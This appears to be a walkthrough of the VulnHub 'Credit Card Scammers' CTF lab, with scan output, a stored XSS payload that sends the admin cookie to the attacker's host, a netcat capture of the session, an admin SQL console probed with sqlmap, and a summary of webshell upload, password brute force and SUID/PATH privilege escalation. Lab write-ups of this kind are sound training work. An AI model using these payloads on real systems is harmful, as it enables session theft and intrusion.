-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathVulnHub "Credit Card Scammers" (Medium)
2850 lines (2515 loc) · 169 KB
/
VulnHub "Credit Card Scammers" (Medium)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
========================================================================================================================================
Walkthrough of the "Credit Card Scammers" VulnHub VM CTF
========================================================================================================================================
Description of the CTF:
The back story: Scammers are taking advantage of people and various fake shopping websites have been setup, but people are finding their orders never arrive.
We have identified one scam website which we believe is harvesting credit card details from victims.
Your objective is to take down the scam website by gaining root access, and identify the 3 flags on their server.
Our intelligence suggests the scammers are actively reviewing all orders to quickly make use of the credit card information.
Step 1. Scanning & Enumeration (Nmap + Nikto + Dirb)
> Find the admin portal login page (/_admin/dist/login.html)
Step 2. Gaining Access
1. Find and exploit an unauthenticated stored XSS flaw in the web page "buynow.php" that allows to steal the session cookie of an admin
2. Log into the admin portal using the stolen cookie
3. Exploit the presence of a "Database admin" page that allows to execute SQL queries to the MySQL backend db
4. Upload a PHP webshell using the "Database admin" page (SELECT <webshell> INTO DUMPFILE /path/webshell.php)
> OS command execution with the service account "apache"
Step 3. Post-exploitation - Linux enumeration (Manual search + scripts: "LinEnum.sh" & "Linux-exploit-suggester.sh")
1. LinEnum script's results show that there is a SUID binary "/usr/bin/backup" which runs the script "/home/moneygrabber/backup.sh"
2. Perform a brute-force attack with Hydra and rockyou.txt to guess the weak password protecting the Linux account "moneygrabber"
3. Log into the Linux host as "moneygrabber" and identify that there is a PATH ENV privesc with the binary TAR in the script "/home/moneygrabber/backup.sh"
which can be executed with root privileges thanks to SUID binary "/usr/bin/backup"
Step 4. Privilege escalation to root
=> SUID binary + PATH env manipulation = root access
========================================================================================================================================
Step 1. Scanning & Enumeration
========================================================================================================================================
jeff@kali:~$ sudo nmap -P0 -sS -sV -sC 192.168.1.28
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-15 01:09 CEST
Stats: 0:01:26 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 95.83% done; ETC: 01:11 (0:00:02 remaining)
Nmap scan report for 192.168.1.28
Host is up (0.00061s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 8d:0a:3a:42:5f:92:47:69:33:59:b3:77:53:3c:be:73 (RSA)
| 256 ab:3d:26:3b:d9:02:50:a4:49:c0:bf:13:75:dc:a5:73 (ECDSA)
|_ 256 fb:6a:7e:1b:05:f9:d1:ef:be:dd:ff:39:ed:f5:f5:63 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos)
|_http-title: Your PPE Supplier
443/tcp open http Mongoose httpd
|_http-title: Site doesn't have a title (text/plain).
9090/tcp closed zeus-admin
MAC Address: 08:00:27:C8:0C:11 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.37 seconds
============================================================================================
jeff@kali:~$ nikto -h http://192.168.1.28
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.28
+ Target Hostname: 192.168.1.28
+ Target Port: 80
+ Start Time: 2020-07-15 01:14:34 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.37 (centos)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/7.2.11
+ Allowed HTTP Methods: HEAD, GET, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /package.json: Node.js package file found. It may contain sensitive information.
+ 8724 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time: 2020-07-15 01:15:04 (GMT2) (30 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
============================================================================================
jeff@kali:~$ dirb http://192.168.1.28
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Jul 15 01:19:08 2020
URL_BASE: http://192.168.1.28/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.28/ ----
==> DIRECTORY: http://192.168.1.28/_admin/
+ http://192.168.1.28/cgi-bin/ (CODE:403|SIZE:217)
==> DIRECTORY: http://192.168.1.28/class/
==> DIRECTORY: http://192.168.1.28/css/
==> DIRECTORY: http://192.168.1.28/img/
+ http://192.168.1.28/index.html (CODE:200|SIZE:5822)
+ http://192.168.1.28/LICENSE (CODE:200|SIZE:1093)
==> DIRECTORY: http://192.168.1.28/noindex/
==> DIRECTORY: http://192.168.1.28/settings/
==> DIRECTORY: http://192.168.1.28/vendor/
---- Entering directory: http://192.168.1.28/_admin/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.28/class/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.28/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.28/img/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.28/noindex/ ----
==> DIRECTORY: http://192.168.1.28/noindex/common/
+ http://192.168.1.28/noindex/index (CODE:200|SIZE:4006)
+ http://192.168.1.28/noindex/index.html (CODE:200|SIZE:4006)
---- Entering directory: http://192.168.1.28/settings/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.28/vendor/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.28/noindex/common/ ----
==> DIRECTORY: http://192.168.1.28/noindex/common/css/
==> DIRECTORY: http://192.168.1.28/noindex/common/fonts/
==> DIRECTORY: http://192.168.1.28/noindex/common/images/
---- Entering directory: http://192.168.1.28/noindex/common/css/ ----
+ http://192.168.1.28/noindex/common/css/styles (CODE:200|SIZE:71634)
---- Entering directory: http://192.168.1.28/noindex/common/fonts/ ----
---- Entering directory: http://192.168.1.28/noindex/common/images/ ----
-----------------
END_TIME: Wed Jul 15 01:19:40 2020
DOWNLOADED: 27672 - FOUND: 6
jeff@kali:~$
Notes:
=> http://192.168.1.28/_admin/dist/login.html
=> Admin portal login page "Money Maker Admin Panel"
=> http://192.168.1.28/settings/config.php
=> interesting !!
========================================================================================================================================
Step 2. Gaining access
========================================================================================================================================
The creator of the CTF is giving a hint on how to hack the website:
"Our intelligence suggests the scammers are actively reviewing all orders to quickly make use of the credit card information."
> So I filled the page to buy a "N95 Face Mask" and I put in all the character fields the following XSS payload to try to steal the cookie of an administrator/scammer:
"Test <script>document.write("<img src=http://192.168.1.21/".concat(escape(document.cookie)))</script>"
> In parallel I started a netcat listener on my Kali to receive the cookie and it worked:
jeff@kali:~$ sudo nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.1.21] from (UNKNOWN) [192.168.1.28] 57546
GET /PHPSESSID%3Dt9q0kkg91f0huk3j61hk53gpm2%3C/td HTTP/1.1
Referer: http://localhost/_admin/dist/index.php
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*
Host: 192.168.1.21
> Then I used Burp to access to the page "Money Maker Admin Panel" that was discovered thanks to DIRB
GET /_admin/dist/index.php HTTP/1.1
Host: 192.168.1.28
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Cookie: PHPSESSID=t9q0kkg91f0huk3j61hk53gpm2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
Accept-Language: fr-fr
Accept-Encoding: gzip, deflate
Connection: close
HTTP/1.1 200 OK
Date: Tue, 14 Jul 2020 23:51:18 GMT
Server: Apache/2.4.37 (centos)
X-Powered-By: PHP/7.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 318470
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<meta name="description" content="" />
<meta name="author" content="" />
<title>Money Maker</title>
<link href="css/styles.css" rel="stylesheet" />
<link href="/_admin/dist/assets/dataTables.bootstrap4.min.css" rel="stylesheet" crossorigin="anonymous" />
<script src="/_admin/dist/assets/all.min.js" crossorigin="anonymous"></script>
</head>
<body class="sb-nav-fixed">
<nav class="sb-topnav navbar navbar-expand navbar-dark bg-dark">
<a class="navbar-brand" href="index.html">Admin</a><button class="btn btn-link btn-sm order-1 order-lg-0" id="sidebarToggle" href="#"><i class="fas fa-bars"></i></button>
<ul class="navbar-nav ml-auto ml-md-0">
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" id="userDropdown" href="#" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"><i class="fas fa-user fa-fw"></i></a>
<div class="dropdown-menu dropdown-menu-right" aria-labelledby="userDropdown">
<a class="dropdown-item" href="logout.php">Logout</a>
</div>
</li>
</ul>
</nav> <div id="layoutSidenav">
<div id="layoutSidenav_nav">
<nav class="sb-sidenav accordion sb-sidenav-dark" id="sidenavAccordion">
<div class="sb-sidenav-menu">
<div class="nav">
<div class="sb-sidenav-menu-heading">Core</div>
<a class="nav-link" href="index.php"
><div class="sb-nav-link-icon"><i class="fas fa-tachometer-alt"></i></div>
Dashboard</a
>
<a class="nav-link" href="manage.php"
><div class="sb-nav-link-icon"><i class="fas fa-viruses"></i></div>
Database Admin</a
>
</div>
<div class="sb-sidenav-footer">
<div class="small">Scamming People Since 2000</div>
</div>
</nav>
</div> <div id="layoutSidenav_content">
<main>
<div class="container-fluid">
<h1 class="mt-4">Money Maker</h1>
<ol class="breadcrumb mb-4">
<li class="breadcrumb-item active">Orders</li>
</ol>
<table class="table table-striped dt-responsive nowrap" id="orderTable" width="100%" cellspacing="0">
<thead><tr>
<th>Order ID</th>
<th>Item ID</th>
<th>Quantity</th>
<th>First Name</th>
<th> Last Name</th>
<th> E-Mail</th>
<th> Address</th>
<th> Address 2</th>
<th> Country</th>
<th> County</th>
<th> Postcode</th>
<th> Payment</th>
<th> Name On Card</th>
<th>Number</th>
<th>Expiration</th>
<th>CVV</th>
</tr></thead>
<tbody>
<tr>
<td>1008</td>
<td>1</td>
<td>1000</td>
<td>Test <script>document.write("<img src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td></td>
<td>Test <script>document.write("<img src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>0987654321</td>
<td>12/12/2022</td>
<td>456</td>
</tr>
<tr>
<td>1007</td>
<td>1</td>
<td>1000</td>
<td>Test <script>document.write("<img src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>[email protected]</td>
<td>Test <script>document.write("<img src=http://192.168.1.29/".concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>USA</td>
<td>Boston</td>
<td>76789</td>
<td></td>
<td>Test <script>document.write("<img src=http://192.168.1.21/".concat(escape(document.cookie)))</script></td>
<td>1234567890</td>
<td>02/2022</td>
<td>543</td>
</table>
<SNIP>
> There is a "Database admin" page that allow us to execute SQL queries
GET /_admin/dist/manage.php HTTP/1.1
Host: 192.168.1.28
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Cookie: PHPSESSID=t9q0kkg91f0huk3j61hk53gpm2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
Accept-Language: fr-fr
Accept-Encoding: gzip, deflate
Connection: close
HTTP/1.1 200 OK
Date: Tue, 14 Jul 2020 23:57:56 GMT
Server: Apache/2.4.37 (centos)
X-Powered-By: PHP/7.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4636
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<SNIP>
<a class="nav-link" href="index.php"
><div class="sb-nav-link-icon"><i class="fas fa-tachometer-alt"></i></div>
Dashboard</a
>
<a class="nav-link" href="manage.php"
><div class="sb-nav-link-icon"><i class="fas fa-viruses"></i></div>
Database Admin</a
>
</div>
<div class="sb-sidenav-footer">
<div class="small">Scamming People Since 2000</div>
</div>
</nav>
</div> <div id="layoutSidenav_content">
<main>
<div class="container-fluid">
<h1 class="mt-4">Money Maker</h1>
<ol class="breadcrumb mb-4">
<li class="breadcrumb-item active">Database SQL Execution</li>
</ol>
<p>This page allows you to execute SQL commands for deleting and archiving data. Be careful not to break our store - the money is currently flowing in!</p>
<form action="manage.php" method="POST">
<input name="command" id="command" type="test" />
<input type="submit" name="submit" value="Execute" />
</form>
...
> First I tried to exploit this feature with SQLmap but it did not worked well...
jeff@kali:~/Documents/CTFs/CreditCardScammers$ sqlmap --dbms=MySQL --level=5 --risk=3 --users --passwords -r burp.txt
___
__H__
___ ___[)]_____ ___ ___ {1.4.7.5#dev}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 02:17:15 /2020-07-15/
[02:17:15] [INFO] parsing HTTP request from 'burp.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[02:17:18] [INFO] testing connection to the target URL
[02:17:18] [INFO] testing if the target URL content is stable
[02:17:19] [INFO] target URL content is stable
[02:17:19] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[02:17:19] [WARNING] (custom) POST parameter '#1*' does not appear to be dynamic
[02:17:19] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[02:17:20] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[02:17:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:17:35] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[02:17:57] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[02:18:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[02:18:22] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[02:18:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[02:18:43] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (comment)'
[02:18:54] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - comment)'
[02:19:00] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[02:19:01] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[02:19:01] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original value)'
[02:19:02] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
[02:19:02] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original value)'
[02:19:02] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause'
[02:19:13] [INFO] testing 'Generic inline queries'
[02:19:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[02:19:19] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[02:19:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[02:19:37] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[02:19:47] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[02:19:59] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[02:20:17] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[02:20:29] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[02:20:49] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'
[02:21:00] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'
[02:21:20] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET)'
[02:21:20] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)'
[02:21:20] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT)'
[02:21:21] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT - original value)'
[02:21:21] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int)'
[02:21:21] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int - original value)'
[02:21:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[02:21:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[02:21:23] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[02:21:23] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[02:21:23] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Stacked queries'
[02:21:31] [INFO] testing 'MySQL < 5.0 boolean-based blind - Stacked queries'
[02:21:31] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[02:21:46] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[02:22:02] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[02:22:17] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[02:22:33] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[02:22:49] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[02:23:05] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[02:23:21] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[02:23:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:23:54] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:24:10] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[02:24:26] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[02:24:43] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[02:24:58] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[02:25:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[02:25:30] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[02:25:46] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[02:25:54] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:26:05] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[02:26:06] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[02:26:06] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[02:26:06] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[02:26:07] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[02:26:07] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[02:26:07] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[02:26:08] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)'
[02:26:08] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)'
[02:26:09] [INFO] testing 'MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)'
[02:26:09] [INFO] testing 'MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)'
[02:26:10] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[02:26:11] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)'
[02:26:11] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)'
[02:26:12] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[02:26:12] [INFO] testing 'MySQL inline queries'
[02:26:13] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[02:26:20] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[02:26:44] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[02:26:52] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[02:27:03] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[02:27:11] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[02:27:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[02:27:50] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
[02:28:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
[02:28:22] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP)'
[02:28:36] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)'
[02:28:46] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)'
[02:28:56] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'
[02:29:06] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)'
[02:29:16] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'
[02:29:32] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'
[02:29:47] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query - comment)'
[02:29:57] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query - comment)'
[02:30:08] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[02:30:23] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)'
[02:30:33] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)'
[02:30:48] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)'
[02:30:58] [INFO] testing 'MySQL AND time-based blind (ELT)'
[02:31:15] [INFO] testing 'MySQL OR time-based blind (ELT)'
[02:31:31] [INFO] testing 'MySQL AND time-based blind (ELT - comment)'
[02:31:41] [INFO] testing 'MySQL OR time-based blind (ELT - comment)'
